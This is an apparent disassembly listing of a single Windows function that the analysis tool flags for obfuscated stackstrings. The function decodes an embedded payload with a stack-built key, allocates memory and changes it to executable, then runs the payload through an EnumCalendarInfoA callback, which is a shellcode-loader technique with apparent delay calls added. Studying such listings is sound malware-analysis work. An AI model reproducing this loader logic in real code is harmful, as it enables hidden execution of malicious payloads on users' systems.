Function at 0x401697
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0x3808
call fcn.004033c4
sub esp, eax
call fcn.00402248
mov dword [esp], 0xa76409bd
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa76409b1
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa764090f
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa76408df
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa76408a9
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa7640859
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa7640831
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa7640801
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa76407a1
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov dword [esp], 0xa76409b1
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
lea eax, [ebp - 0x428]
mov ebx, 0x4041c0
mov edx, 0x100
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1dfc]
mov ebx, 0x4045c0
mov edx, 0x675
mov edi, eax
mov esi, ebx
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1c], 0
jmp 0x401800
mov dword [ebp - 0x20], 0
jmp 0x4017f3
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp + eax*4 - 0x428]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1dfc]
cmp edx, eax
jne 0x4017ef
mov eax, dword [ebp - 0x20]
mov ecx, eax
lea edx, [ebp - 0x37d0]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov byte [eax], cl
jmp 0x4017fc
add dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], 0xff
jle 0x4017c3
add dword [ebp - 0x1c], 1
mov eax, dword [ebp - 0x1c]
cmp eax, 0x19d3
jbe 0x4017ba
mov dword [ebp - 0x24], 0x675
mov dword [ebp - 0x37e1], 0x47444763
mov dword [ebp - 0x37dd], 0x6d677233
mov dword [ebp - 0x37d9], 0x4b656c75
mov dword [ebp - 0x37d5], 0x7432704a
mov byte [ebp - 0x37d1], 0
mov dword [ebp - 0x28], 0x11
mov eax, dword [ebp - 0x28]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x37e1]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
lea eax, [ebp - 0x37d0]
mov dword [esp], eax
call fcn.00401590
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x37e8], eax
mov dword [ebp - 0x37ec], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0x3000
lea edx, [ebp - 0x37e8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
lea edx, [ebp - 0x37ec]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004020de
mov dword [esp], 0xa7640801
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x37f0]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x20
lea edx, [ebp - 0x37e8]
mov dword [esp + 8], edx
lea edx, [ebp - 0x37ec]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402127
mov dword [esp], 0xa7640801
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
lea edx, [ebp - 0x37f0]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 0x40
lea edx, [ebp - 0x37e8]
mov dword [esp + 8], edx
lea edx, [ebp - 0x37ec]
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.00402127
mov dword [esp], 0xa7640801
mov dword [esp + 4], 0xde0b6b3
call fcn.004015f6
mov ebx, dword [ebp - 0x37ec]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x10], 0
mov edx, dword [ebp - 0x24]
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x37d0]
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.00402095
mov eax, dword [ebp - 0x37ec]
mov dword [esp + 0xc], 0x15
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], 0x400
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
call eax
sub esp, 0x10
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret